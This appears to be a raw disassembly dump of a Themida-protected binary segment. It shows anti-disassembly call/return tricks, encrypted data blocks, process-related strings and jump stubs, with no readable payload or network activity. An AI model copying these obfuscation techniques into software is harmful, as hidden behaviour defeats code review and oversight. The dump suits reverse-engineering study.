jnz loc_5D52EF
mov esi, edx
loc_5D530D: ; CODE XREF: Themida_:005D52E2j
and al, 0FEh
cmp al, 0F6h
jnz loc_5D5342
cmp edi, 7Fh
ja loc_5D5342
test bl, 38h
jnz loc_5D5342
cmp byte ptr [ebp-7], 0
jz loc_5D533C
movzx eax, byte ptr [ebp-4]
jmp loc_5D533F
; ---------------------------------------------------------------------------
loc_5D533C: ; CODE XREF: Themida_:005D532Dj
push 1
pop eax
loc_5D533F: ; CODE XREF: Themida_:005D5337j
mov [ebp-1], al
loc_5D5342: ; CODE XREF: Themida_:005D5311j
; Themida_:005D531Aj ...
mov dl, [ebp+17h]
mov bl, [ebp-6]
loc_5D5348: ; CODE XREF: Themida_:005D51F2j
mov al, bl
and eax, 7
sub eax, 4
jz loc_5D5373
dec eax
dec eax
jz loc_5D5369
and bl, 7
add [ebp-1], bl
jmp loc_5D537B
; ---------------------------------------------------------------------------
loc_5D5369: ; CODE XREF: Themida_:005D5358j
mov al, [ebp-3]
add al, 6
jmp loc_5D5378
; ---------------------------------------------------------------------------
loc_5D5373: ; CODE XREF: Themida_:005D5350j
mov al, [ebp-3]
add al, 4
loc_5D5378: ; CODE XREF: Themida_:005D536Ej
add [ebp-1], al
loc_5D537B: ; CODE XREF: Themida_:005D5364j
mov al, [ebp-1]
dec byte ptr [ebp-1]
test al, al
jz loc_5D53A3
movzx ecx, byte ptr [ebp-1]
inc ecx
loc_5D538E: ; CODE XREF: Themida_:005D539Dj
mov edi, [ebp+0Ch]
movzx eax, dl
inc dl
dec ecx
mov bl, [edi+eax]
mov [esi+eax], bl
jnz loc_5D538E
loc_5D53A3: ; CODE XREF: Themida_:005D5383j
pop edi
pop esi
mov al, dl
pop ebx
leave
retn
; ---------------------------------------------------------------------------
lea eax, [ebp+6188D8Dh]
mov [ebp+6132191h], eax
lea ecx, [ebp+61891D6h]
push 0
push eax
call sub_5D53C7
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D53C7 proc near ; CODE XREF: Themida_:005D53BFp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5D53C7 endp
; ---------------------------------------------------------------------------
mov edx, 231E7B33h
popf
jge short loc_5D5401
adc eax, [esi]
mov [ebp+6131BBDh], ecx
or [ebp+61304CDh], edx
mov dword ptr [ebp+61318DDh], 6F38h
mov dword ptr [ebp+6133055h], 0
loc_5D5401: ; CODE XREF: Themida_:005D53DDj
push 0
push ebx
call sub_5D540C
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D540C proc near ; CODE XREF: Themida_:005D5404p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5D540C endp
; ---------------------------------------------------------------------------
dd 1F5D1B0Bh, 0FD5592EDh, 8E92827h, 0B0000000h, 2E049393h
dd 0B1C6E24h, 1325C5BDh, 6B0BF06h, 0B5FF55D1h, 6130ED5h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 4BC35343h
dd 29093CF6h, 8BE49E61h, 131611BDh, 8995FF06h, 6A06131Dh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 0BDA7C353h, 890FD080h, 1307F5BDh, 0FF006A06h
dd 130DA995h, 0EBC08B06h, 1AF600Fh, 9B533F4Fh, 1FEC904Bh
dd 95D0D9A2h, 83F5C08Bh, 131625BDh, 9750006h, 2C81BD83h
dd 74000613h, 8B535019h, 3FCB8C0h, 85890000h, 6130D7Dh
dd 0A97D9D8Dh, 0D3FF0615h, 0BD83585Bh, 6132C81h, 50177400h
dd 3FCB853h, 85890000h, 6130D7Dh, 0A66C9D8Dh, 0D3FF0615h
dd 6A585Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 0BF3290C3h, 0FB9372Ah, 6AD6BFh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 85E093C3h
dd 7B027D5h, 0D7CB8190h, 8B2E0ADEh, 0CA8166D1h, 0C08BFEA6h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0E8C35343h
dd 0B736E594h, 3DBD8380h, 1061317h, 7C840Fh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 217CDDC3h, 4C549212h, 0D9B70F5Dh, 12A5BD83h, 0F000613h
dd 4985h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1604h, 0C3574700h, 83BC564Dh, 131F95BDh, 840F0006h
dd 43h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h
dd 91C35343h, 55E931B6h, 0F000003h, 0D2B7h, 0E8600000h
dd 6, 0A44B3F77h, 0BB663C24h, 8B5AFFD3h, 0F6BB61D3h, 771A16C2h
dd 65278A0Eh, 0E9B40EBDh, 5FB46753h, 6CEB44BBh, 0F3C8EDE4h
dd 0CFF0E5BFh, 0F5B47EBFh, 39E323BBh, 7983EBC1h, 33143BE9h
dd 49F0E73Eh, 0AFA48CBDh, 90BE64BBh, 0FE360BC8h, 0D880E97Fh
dd 1082B344h, 0F6D20F05h, 6E4B3E6Bh, 0B7E664D1h, 0AFB464B8h
dd 8D773E9Bh, 0EF903032h, 0F190203Ah, 0FAB464A7h, 667736F9h
dd 49AC4E5Dh, 4B6D8A76h, 468FB23Bh, 0D7B46036h, 0E35D04DBh
dd 58B464BBh, 0CC19476Dh, 722E309Bh, 0BEB46434h, 460B05BBh
dd 0CEAF4952h, 0D7B48CEEh, 6AE964BBh, 0ED279056h, 9A67EFBDh
dd 1CD4BC3Bh, 0BEDEA430h, 5FB78CECh, 0F09464BBh, 0AB3D3B78h
dd 0AF35609Fh, 0F5AF609Fh, 0ADF364BBh, 271FAE78h, 2F86103h
dd 5FBE8DD5h, 252E64BBh, 6FA8EF14h, 48A2575Ch, 0AAE1DFDDh
dd 43D204EBh, 735DC32Fh, 92B464BBh, 675B76B7h, 6404DF35h
dd 953F119Fh, 0EF3D0589h, 7ED2379Fh, 0FBBB3E6Ah, 0F64A40F7h
dd 0BEDE3C6Ch, 5FB78CE9h, 0F59464BBh, 833D3E78h, 0AF35609Fh
dd 0F5AC609Fh, 0A8F664BBh, 0EC209078h, 0B2B1F635h, 50B464B9h
dd 0A73FB304h, 0D7BD8CEAh, 70B64BBh, 4C03B7E7h, 9C630E35h
dd 0CB6C8E3Ah, 0B85D3EE1h, 0C0B464BBh, 0DC4466B5h, 9F3F029Dh
dd 30340447h, 253F02F0h, 4249EEDAh, 7DB464BAh, 56E264D1h
dd 5FB464B8h, 0F1773A9Bh, 0D3901032h, 0EF90203Ah, 0F5B464A1h
dd 5F7732FDh, 0C1AF5873h, 56E5C914h, 5FB464B0h, 419C1130h
dd 0C97DB535h, 598C37B5h, 1CEF3EEBh, 0FAB464AAh, 0BC394F32h
dd 14859BCCh, 0C9E7A843h, 6EABC56Ah, 4D6FE5AAh, 7AA20CD3h
dd 3B3F02DBh, 10F02DBh, 1C62D12Ah, 57D434DAh, 5FB464ABh
dd 0A0D88EF7h, 1AB559E3h, 5248B073h, 5FB236EEh, 0A2D504ECh
dd 7DDEF5DAh, 0BEB78CE8h, 49464BBh, 0F33D3F78h, 9335609Fh
dd 0EBAC609Fh, 0A6F764BBh, 8D7E5178h, 755C7B85h, 0B4B464BBh
dd 68D679C4h, 0A01F63BAh, 0B1EFB704h, 0EBDEBD37h, 0F5B78CE9h
dd 0A09464BBh, 293D3E78h, 0FA35609Fh, 5FAD609Fh, 0FDF664BBh
dd 8ED96378h, 1D6C1B64h, 70BB607Ah, 0FAB46469h, 7B5DB330h
dd 34B464BBh, 6A0B670Fh, 0A45D3DF0h, 1CB464BBh, 4B44BD39h
dd 0D6FCCF2Bh, 0C3346944h, 0B6316BD3h, 3EB464BBh, 263F6465h
dd 0FDB40EBAh, 0D7B46753h, 28EE44BBh, 0D1E0EDE1h, 0DEF0E5BFh
dd 7DB471BFh, 7DE626BBh, 4E5D1D1Bh, 4DB464BBh, 5D086C54h
dd 2553296Ah, 0AA89525Bh, 2378DADEh, 7DB49B3Ah, 3CBBE4BBh
dd 5FB4643Dh, 47E664D1h, 0D7B464B8h, 0B1773E9Bh, 0F1903032h
dd 0FE90203Ah, 7DB464ACh, 0DC7736F9h, 98DB9A7Ah, 0B727243Eh
dd 0D7B465BDh, 5A46E4BBh, 0F5B43352h, 0FC3E6BBBh, 0FCB464BBh
dd 0A9D2578h, 5FF08DC6h, 0AFDE64BBh, 0D7B78CEAh, 0B29464BBh
dd 0B93D3D78h, 0BE35609Fh, 7DA8609Fh, 0EFF564BBh, 8C5EE78h
dd 652A2B41h, 5CEDCAD9h, 9237026Ah, 71BB9BB0h, 0FAB464A9h
dd 74278E3Ah, 3B73004Ch, 59ACF7FBh, 0AFB464BAh, 2BFCC809h
dd 0BB7BF02h, 5B31E98Ch, 77B27C23h, 6522CA06h, 0CA4C5FBDh
dd 8EBB54BCh, 5A5F2372h, 3FE264D1h, 0EBB464B8h, 0AB773A9Bh
dd 0FE901032h, 7990203Ah, 0BEB464A6h, 6C7732FDh, 392E3D95h
dd 0D86538F1h, 343F024Ch, 1DE764D1h, 0FAB464B8h, 26773F9Bh
dd 0BA903832h, 5B90203Ah, 0AFB464ADh, 197737F8h, 3D40124h
dd 0F5B464A8h, 0B77D6A4Fh, 366F4FF4h, 0F573E0EBh, 62CC07B7h
dd 0C9D5505Ah, 8D84A503h, 0EBA0E7B4h, 0FA5D64BBh, 0D3B464BBh
dd 43D90E87h, 29C0320Eh, 0AC892697h, 2CD532A8h, 0C4A35906h
dd 6FBB65BDh, 0F5B46437h, 5E46E5DDh, 7B3D6BFAh, 3FB464BBh
dd 2DB99561h, 0A09E799h, 0D7B277A9h, 0EBDAE1B4h, 0F5DE64BBh
dd 0FAB78CEBh, 259464BBh, 0FA3D3C78h, 1B35609Fh, 0AFAD609Fh
dd 87F464BBh, 3577D378h, 7504E1B6h, 1C34E17Ch, 0E809E7A6h
dd 0BEB277A4h, 5FE5E0B4h, 0AFDE64BBh, 0D7B78CE8h, 0B09464BBh
dd 0A93D3F78h, 0BE35609Fh, 7DA1609Fh, 0EDF764BBh, 0B68D5078h
dd 0AFB464BDh, 67D7E097h, 0E65D4398h, 13B464BBh, 9DD27862h
dd 0AB32EC2Bh, 284B826Dh, 5FB4F052h, 0AFB88CBBh, 88B864BBh
dd 0DC3FACC1h, 52FAA18Bh, 79EFB76Bh, 6EA35906h, 3BBB65BDh
dd 5FB464DCh, 47E264D1h, 0D7B464B8h, 0B5773A9Bh, 0F1901032h
dd 0FE90203Ah, 7DB464A0h, 0ED7732FDh, 257048FAh, 24ACA874h
dd 0B2033963h, 248EE78h, 0F5B464FEh, 12E664D1h, 7DB464B8h
dd 0E4773E9Bh, 5B903032h, 0AB90203Ah, 0D7B464A6h, 0D27736F9h
dd 2BCF97BEh, 1A7BBA4Eh, 713A6B9Ah, 0B1B464BBh, 5FB46236h
dd 3A67E5BBh, 8AFC97FAh, 3B0B6BEDh, 70BBABE1h, 0FAB464BAh
dd 2009E943h, 33B27C28h, 472C1F36h, 0F3A9DCBDh, 52871F81h
dd 0EDA773B6h, 275AB90h, 8C0BB7BFh, 235B31E9h, 677B27Ch
dd 0BD6522CAh, 0BCCA4C5Fh, 728EBB54h, 5E98323h, 0BD83A4F3h
dd 6189340h, 8D0D7400h, 134F8D8Dh, 1B806h, 0E1FF0000h
dd 50006A40h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 0F45D6EC7h, 0C9EB927h, 860FA844h, 0Eh, 6E850h
dd 448A0000h, 4DDE831Eh, 0D88B5B5Ah, 6A2DE883h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 645FC350h, 0C370B4A1h, 0FC70F21h, 584h, 0A73BBA00h
dd 0C08B4AC8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 17h, 15C35545h, 0F596949h, 58Ah, 6A2ABB00h, 0BA662897h
dd 0BD834CAEh, 6131625h
dd 83097500h, 132C81BDh, 19740006h, 0C08B5350h, 3FCB8h
dd 15858900h, 8D061331h, 15A9E49Dh, 5BD3FF06h, 81BD8358h
dd 6132Ch, 53501774h, 3FCB8h, 15858900h, 8D061331h, 15A6859Dh
dd 5BD3FF06h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1604h, 0C3534300h, 60C9CD08h, 2BDE8166h, 8E823h, 4FCF0000h
dd 2DB8B21Dh, 0C28176FBh, 7EFA2A3Bh, 0D88A615Fh, 7E9h
dd 4C5F0E00h, 504F4CFEh, 9785BB66h, 8D8DC08Bh, 6189AB8h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 74C35141h
dd 970E9A21h, 14E93F16h, 0AA000000h, 0F6DCEF76h, 2597738Fh
dd 605B395Dh, 0F677F22Ah, 89D8AB80h, 131BBD8Dh, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 0C8E699DBh, 0C7F6BF0Fh, 1318DD85h, 5CE406h, 0E1858900h
dd 0C706130Bh, 13305585h, 6, 5E800h, 3D6C0000h, 8963ACCDh
dd 1325D985h, 0B5FF5B06h, 6132101h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 2AC35242h, 9D094872h, 6131131h
dd 1D8995FFh, 0EE800613h, 9958983h, 6A06131Eh, 0A995FF00h
dd 8B06130Dh, 4138EBC0h, 9565247Bh, 18BFF09Eh, 0CB185E72h
dd 8FB20A4Ch, 2E4BD9FFh, 0E65ED801h, 8CF65BF7h, 0C6F8546Eh
dd 1C8D1CEEh, 0BEAC92DAh, 0E98A8435h, 0DF25C916h, 801BB06Bh
dd 0E951A426h, 15Ch, 4DD6EB47h, 85FA6800h, 4D064CECh, 0ADB588Fh
dd 53D05624h, 0AD35677h, 53D85854h, 3AF3717Ch, 53A1247Fh
dd 0D15A70F4h, 9D5EC412h, 52E6B6A3h, 53971578h, 128h, 0
dd 4, 2 dup(0)
dd 33h, 0
dd 8, 0
aSystem db 'System',0
aProcess db ' Process]',0
align 10h
dd 3Ch dup(0)
; ---------------------------------------------------------------------------
jmp loc_5D750F
; ---------------------------------------------------------------------------
push 6189E55h
jmp loc_590A54
; ---------------------------------------------------------------------------
push 6189F48h
jmp loc_590A54
; ---------------------------------------------------------------------------
push 618A015h
jmp loc_590A54
; ---------------------------------------------------------------------------
push 618A0D1h
jmp loc_590A54
; ---------------------------------------------------------------------------
push 618A263h
jmp loc_590A54
; ---------------------------------------------------------------------------
push 618A3A1h
jmp loc_590A54
; ---------------------------------------------------------------------------
push 618A475h
jmp loc_590A54
; ---------------------------------------------------------------------------
push 618A539h
jmp loc_590A54
; ---------------------------------------------------------------------------
push 618A711h
jmp loc_590A54
; ---------------------------------------------------------------------------
push 618A817h
jmp loc_590A54
; ---------------------------------------------------------------------------
push 618A8B4h
jmp loc_590A54
; ---------------------------------------------------------------------------
push 618A952h
jmp loc_590A54
; ---------------------------------------------------------------------------
push 618AB0Eh
jmp loc_590A54
; ---------------------------------------------------------------------------
push 618AFDFh
jmp loc_590A54
; ---------------------------------------------------------------------------
push 618B0ABh
jmp loc_590A54
; ---------------------------------------------------------------------------
db 68h
dd 0CFC31D92h, 630F713Eh, 0D4C02289h, 570B753Ah, 3BB257Ah
dd 47587913h, 0DDCE2959h, 2F7C8F03h, 0E4C72151h, 0A028F0FEh
dd 428C7434h, 91010704h, 0ACA7317Ah, 0E4CAE3FBh, 79372DA6h
dd 11814758h, 0C802AFF0h, 0A506E232h, 2B80586Ch, 359F272Bh
dd 3449434h, 0FDE937C1h, 34077119h, 0B3F54494h, 3451C343h
dd 0F5274494h, 0B5700AE3h, 2A7EC941h, 0F40C3EA1h, 9C6D14A5h
dd 0E8066E85h, 0BCD001C7h, 0BD79AC44h, 80F0F961h, 48CBA871h
dd 3C15h, 0A5253100h, 0BD79A433h, 1241D709h, 9B2B48D2h
dd 4494E829h, 2B2BDD1Fh, 0E8359F27h, 0C1034494h, 0F0E75F37h
dd 0CE3EA1BDh, 0FF65579Ch, 0EABD783Ch, 0F8077744h, 9E48CA24h
dd 0E8h, 4A617777h, 5A646CEh, 0E7ECEECCh, 66ABF4DDh, 0E256F6E2h
dd 0DA4494E8h, 0E60292A8h, 18FC0CC5h, 94E80470h, 28B2F444h
dd 88690CECh, 4EAF3E31h, 9751FDFBh, 7EFB6F51h, 0C8449465h
dd 5D057B30h, 9583307Bh, 2DCBD4FDh, 0B0B2640h, 0A1A5907Bh
dd 0EE0E863Eh, 0F4B614BDh, 0C781004h, 5CBD7986h, 7FA141E1h
dd 0D4F538Ch, 3E48950Bh, 888303F3h, 2C74DC4h, 484F7692h
dd 0E5040030h, 0B515BE0Ch, 0B99DDF23h, 0F9E7B819h, 32376889h
dd 70FE7599h, 32BCBDE6h, 0CC000013h, 731F812Eh, 0B7AB159Ah
dd 681C8625h, 0BBA71996h, 0A7178916h, 0B3EC15B7h, 6942A5CDh
dd 0BBF00B77h, 703B9DC5h, 34D4BC12h, 428C76C0h, 7782CBB8h
dd 0B6275F5Ah, 50A95C41h, 8D35F1FBh, 73351A95h, 2883650Dh
dd 22C64EBAh, 0C1F2B953h, 1A39BF09h, 79DD48D2h, 0A1BDEAD1h
dd 54F4D83Eh, 0BD783CE0h, 3C68DC6Ch, 1E60BD78h, 0DECD2EA6h
dd 9735DE2Ch, 0BD783C21h, 0E5551E3Ch, 48CA24D6h, 0B67Ch
dd 17FB4900h, 94E8056Fh, 27B1F344h, 759E0DEBh, 0F41D825Fh
dd 94E59BD8h, 8243A544h, 3B6670C8h, 0F9E721B5h, 4962850Dh
dd 0A5423288h, 0EBEDCD06h, 995A51A7h, 0B123A3AFh, 87BB6BDFh
dd 90AAC355h, 2629A195h, 14C15EE9h, 45DFF0D2h, 3A6A6EEAh
dd 4EE743D7h, 0E22AB06Ah, 0C74CC91Eh, 24ACACDEh, 9400E2BDh
dd 7439326Dh, 0E970FE52h, 123FCBBEh, 2BBF0000h, 97761E84h
dd 22BAAA18h, 936B1789h, 13BEA61Ch, 0B4AA168Ch, 0FCE6B918h
dd 463C6F88h, 94EEBD1Eh, 3DA308E0h, 0F55FE7AFh, 0C3428C77h
dd 5A777FC6h, 3291D145h, 83609ADFh, 382C7684h, 7738D5A0h
dd 77644F31h, 0FB894A61h, 80F4CEDDh, 0B7E8096Ch, 0C90AC0FAh
dd 348E1DBBh, 0A0BAAB4Fh, 0D859185h, 7F15BEF1h, 708A406Fh
dd 0A1FA451Ch, 1D81C33Eh, 0F637F66Dh, 0D4253F17h, 0C038722Dh
dd 0C34D3D48h, 8963CB3Ch, 3070E822h, 38DCB4AEh, 0CAE1FA59h
dd 46D9FA00h, 8505F13Ch, 0C2D0824Ch, 8728C64Eh, 67CF1171h
dd 68E811E7h, 1DDD1689h, 0ADFA3BADh, 19CF11B2h, 0A81DBBA7h
dd 0C0E402B6h, 59529821h, 7361689Eh, 72912813h, 8C000011h
dd 335F416Eh, 77EBD5DAh, 285C4665h, 7BE7D9D6h, 67574956h
dd 0F3AC55F7h, 0A902E58Dh, 0FBB04B37h, 0B0FBDD85h, 7414FCD2h
dd 428C4800h, 77C20BF8h, 56894A61h, 55F561CCh, 3EA1FA66h
dd 9E362264h, 8A40713Ah, 9EC63270h, 9E95C1Dh, 0B3DFF991h
dd 829D5655h, 0C9E6F7F8h, 0F8B208h, 413D2688h, 0A890D2C7h
dd 0E5DBD028h, 996A5B7Dh, 0B72B8544h, 3D2C8509h, 0FACCBA5h
dd 7D0718D9h, 1D1745CCh, 93557A95h, 50AB23A3h, 5B8DCD7Eh
dd 169573DBh, 8B20B8ACh, 36D6C246h, 0A92E60C2h, 7D7288BAh
dd 38D048E3h, 0D31B408Dh, 0B7F4137Bh, 810AC0FAh, 64CED1C8h
dd 0B64F6A55h, 48000010h, 0EFA3FDB2h, 432F911Eh, 0F4A002A9h
dd 372B951Ah, 239B059Ah, 67389933h, 0BDEE0979h, 4F5CAFE3h
dd 0C4E70171h, 800810DEh, 428C4814h, 779EE7E4h, 0AB5B455Ah
dd 51ADC823h, 9367AC5Eh, 53DE6885h, 1A916BE3h, 0D06A419Ah
dd 0A444CCC8h, 0EAF0CA07h, 0A1F73FA2h, 585913Eh, 0BD780193h
dd 61A13769h, 6E2F21Fh, 43CB3BA5h, 9CF802A9h, 0AD426F3Ch
dd 28A09893h, 0C74D1D0Dh, 5B08C9FBh, 6A8EE6F3h, 0F48E5F41h
dd 0B755BD39h, 255ECA42h, 0FC2EB74Dh, 0DC6C2CAEh, 0CD783A61h
dd 0F55FE7EBh, 0C3A9525Eh, 0D90B7781h, 5F4CAC18h, 0F6C373B2h
dd 6D8E6FF9h, 7335953Eh, 41980383h, 62F2D367h, 0DED2685h
dd 5B45770Bh, 0ADC823ABh, 90AA604Bh, 0AC7E404h, 27660A72h
dd 764303A3h, 0D4DB32A2h, 0CF2ACE46h, 2766CD37h, 3F89BBA3h
dd 0D4D73161h, 0BB76101Fh, 7635D33Bh, 24CDDEFEh, 0C44454E6h
dd 0D9124A79h, 0BEE3BDFFh, 0B9740E79h, 1979CD3Dh, 0CD0FDF0Dh
dd 8E56D69h, 27B123A7h, 1F879F13h, 0D931E2C9h, 359F270Fh
dd 39F1327h, 77E737C1h, 0C5D1455Ah, 1327D345h, 0AB41A99Fh
dd 2330CA00h, 0A20EED35h, 49167316h, 55E55BAFh, 344E9F13h
dd 7895FDF9h, 5C3EC01h, 2CECEECCh, 2CC2F828h, 0E3843D78h
dd 8141B555h, 537E52Ah, 44678111h, 0DC48C0D4h, 0AC91FBBFh
dd 5242607Ah, 8E7C0FB6h, 8DECBB4Ch, 0C32E965Bh, 9904CFDCh
dd 86B15296h, 0F24F3h, 0AF00DA00h, 634CA1D1h, 0B4F7157Dh
dd 6748A6CEh, 0B7E80979h, 0EB61D5C9h, 3B279906h, 0C1B10F9Ch
dd 731F812Ah, 12AC1695h, 4A6ADE6Eh, 6562428Ch, 455A7718h
dd 0A4D1275Bh, 4EAC654Ah, 8B6D579Ch, 3CDAF320h, 0AA01D72Fh
dd 0F0853438h, 0BF4FB126h, 17797F2Ch, 167h, 986177ECh
dd 94E884F0h, 47648444h, 12BF093Bh, 0F3936682h, 4494E881h
dd 93834577h, 0E89D077Fh, 396B4494h, 0D26C819Fh, 0DC67DF57h
dd 0AA3EA1F6h, 0DB413B78h, 0C6BD7802h, 7875B68h, 0C2F8B9F6h
dd 635C438h, 425948CAh, 6D000000h, 352E5F35h, 0F612B732h
dd 0EEE5F3B5h, 9B2B48D2h, 4494E829h, 16F5DD1Fh, 6C9E5C95h
dd 6BB8E8ECh, 62824FA5h, 7FE8EACh, 53EA18Ch, 67E0EC3h
dd 23BD79ECh, 0FBE2E3Bh, 5348CBF4h, 0B3h, 4A617700h, 0C9D6FB89h
dd 4F5C7C08h, 0E95BEBE7h, 0DF4494E8h, 0DC158A67h, 54EEC1Eh
dd 5032798Fh, 94E55F1Ch, 0B60FE944h, 367D7019h, 42B6F4A2h
dd 54702FD2h, 54B286A0h, 881A2018h, 16022D37h, 5F9F1476h
dd 66D214C1h, 269C03EEh, 7F0C933Eh, 77119AB6h, 0E649406Bh
dd 1800000Dh, 0DF93EDC2h, 533FA10Eh, 0E490F2B9h, 473BA50Ah
dd 138BF5AAh, 5748A923h, 0CDDEF969h, 3F6C7FF3h, 0D4D73161h
dd 9038E0EEh, 428C4B24h, 77EE1714h, 81F3935Ah, 774494E8h
dd 7F938345h, 0E881F393h, 45774494h, 94E8D345h, 0FB77A944h
dd 0B307CCE3h, 7187FB25h, 775D483Ah, 46CE4A61h, 0F1C90AA1h
dd 0B5436C81h, 0DBD0289Ch, 505B7DE5h, 37F28CA3h, 0F03847BFh
dd 94D63EA1h, 7953B2Eh, 0FBFA0000h, 0A7A379E3h, 0A7AE5655h
dd 0BF53E5F7h, 38547D22h, 449477C0h, 2216112Bh, 6C339E36h
dd 0ECC03ECEh, 86B83EADh, 0C6E50292h, 0EC4EBA52h, 0C3EBD7Ch
dd 4EAA2AEEh, 7F93835Dh, 7CEC9D07h, 9F396BBDh, 0DD169573h
dd 14950AE7h, 770F6D2Bh, 12A21700h, 0EC00000Dh, 533FA10Eh
dd 0D78BF5BAh, 483CA605h, 0DB87F9B6h, 8737A9F6h, 930CF597h
dd 9A2452Dh, 9B10EB97h, 109B3D25h, 0D4741CB2h, 428C4C60h
dd 77226B58h, 41D1455Ah, 0ABF503ACh, 498A21B7h, 2A0E9D3Bh
dd 8851B6FAh, 0B0D44B3h, 8F20BEC6h, 149B7262h, 9619F5DFh
dd 3153203Eh, 0FBCF9C3Ah, 8D357A93h, 0BA79406Bh, 42D2686Dh
dd 0CF9B05A6h, 0B1263020h, 0D66h, 146F1F00h, 484494E3h
dd 0FFFDC441h, 96F10FFh, 624494E8h, 61E94DD8h, 3EAD73C5h
dd 0D8571B3h, 36E2C0EBh, 8D3EAA22h, 0DC0EBD73h, 7932D63Eh
dd 0B6F9157Dh, 889219BEh, 2198394Bh, 3537AEB5h, 2A9F69F0h
dd 770E8C27h, 4E8E2B14h, 0B000000Ch, 0F76B555Ah, 0ABD7C9E6h
dd 0FC685A51h, 7FF3CDE2h, 6B633D62h, 1F8061FBh, 7536D1C1h
dd 2784570Bh, 7C2FC9B9h, 38D0B806h, 428C4DCCh, 7786CFBCh
dd 0B6F91461h, 33D5BFF4h, 3E423B78h, 0AA4237D6h, 0B0FAD001h
dd 0AB31C703h, 9A2469Eh, 0F024D397h, 206AB126h, 1B000000h
dd 94E3146Fh, 0B2F91244h, 65E000F8h, 0F80A0528h, 0A41BF410h
dd 0E4873AF7h, 0FD0BB356h, 0FB82FFFFh, 81327993h, 0A4BEAF49h
dd 0D2FD8D89h, 483EA1F7h, 78DFDD16h, 63BD7800h, 4F7EEEFBh
dd 1348CA04h, 1B2h, 0E8596FC0h, 0EA0D4494h, 439D0EEAh
dd 6A0CB94Fh, 973C7808h, 0CFED26E4h, 4494DCF1h, 8FEA3ADEh
dd 0DAD98FE3h, 0D09943D5h, 554B6078h, 842DF088h, 5A7DF810h
dd 0A06AA051h, 0F5B65242h, 0E7C8C0BCh, 75D54494h, 0E2CDFC6Ch
dd 6391B126h, 85000001h, 58C0EB0Dh, 94EE44B0h, 0E8F23444h
dd 4A6177EDh, 98DDFB89h, 3FA16744h, 5FB394AEh, 0A96A31C6h
dd 0B656C208h, 3EA15E63h, 636FE719h, 797A71E3h, 31547BDh
dd 7A46BECEh, 0FB63BD79h, 7E4F7EEEh, 0F99948CBh, 7B09CAE5h
dd 65A54E5Dh, 48FB95A3h, 0C8000000h, 9B2B48D2h, 4494E829h
dd 0D179DD1Fh, 4494E867h, 61D51355h, 0A1BDF2E9h, 7F58D03Eh
dd 5A9718F6h, 0B8A06AA0h, 28E9C618h, 710B48D2h, 0BD783C0Bh
dd 0BB2B3816h, 48CA240Ch, 55EB88D8h, 0D3661BEFh, 0B0CB45h
dd 77780000h, 0FB894A61h, 7C08C9D6h, 0B6A24F5Ch, 0C1F2B91Eh
dd 45A3EF09h, 0EB007C66h, 0A94494F0h, 0E95B5379h, 0DFF95309h
dd 6C5655B3h, 1CACC953h, 0BB6B98A8h, 0ACAC5EA0h, 5F37BE1Ch
dd 9088BAC1h, 0E4BEE100h, 5D4E51B0h, 7711325Eh, 7669604Bh
dd 8800000Ah, 2F633D72h, 83EFD1DEh, 34604269h, 77EBD5DAh
dd 635B455Ah, 277859F3h, 7D2EC9B9h, 0F9C6F23h, 8427C1B1h
dd 40C8D01Eh, 428C4FD4h, 775EA7A4h, 91D1455Ah, 0BECE190h
dd 982784A0h, 0C9B9E7F1h, 0D642CA2Fh, 0A644946Ch, 0A6B2A664h
dd 946CB226h, 0E0588A44h, 946CFC68h, 809ACC44h, 93FBB322h
dd 4C7E3378h, 0DEFCAF48h, 985952B6h, 1DFCC2Ch, 42E86h
dd 17FB4F00h, 94E8056Fh, 0E1865344h, 0BDC987CAh, 2C7583C5h
dd 2B351Ah, 21277018h, 0ED653EADh, 0EA9AA00Bh, 1D2040B8h
dd 0EDFCCD62h, 8754CC4Eh, 46C632FDh, 0C746CEFBh, 75150115h
dd 0B7470E03h, 51C3C7F9h, 27B7470Eh, 5D9FE3F5h, 0EA018B4h
dd 9DBDB747h, 7E9000D4h, 0A453A731h, 0EA42F50Ah, 38Fh
dd 0E8096F9Bh, 9EFF4494h, 0C34494E8h, 28A6EB9h, 0C15E126Bh
dd 20DD3199h, 780A3CA8h, 10DA0CBDh, 4BCCD1DAh, 0B6E17714h
dd 970C3h, 436C8E00h, 0D7D8355Dh, 486379E9h, 0DBD42A5Ah
dd 4B547DE5h, 57F56955h, 0C7BB257Ah, 5D057B30h, 1F532D7Eh
dd 0EE00E2C9h, 4036A22Ah, 906428Ch, 7A93FBBCh, 0DA856E4Fh
dd 3278CBECh, 1F8C6CA8h, 8233DF2h, 745A7810h, 94D63EADh
dd 0AC87A12Eh, 1F821CACh, 3476C74Ah, 0AB4CC4h, 382AEAA2h
dd 8495B75Ah, 0B2553DA3h, 2CCCB8F9h, 839D527Fh, 8D18B0A8h
dd 0FCD6F3Dh, 0F4096C7Fh, 6C4F6BBh, 97EBEDCDh, 23D0DF2Fh
dd 5B239535h, 0E719A92Fh, 0E5E2E721h, 0FA6AE31Ch, 8D3B8D1h
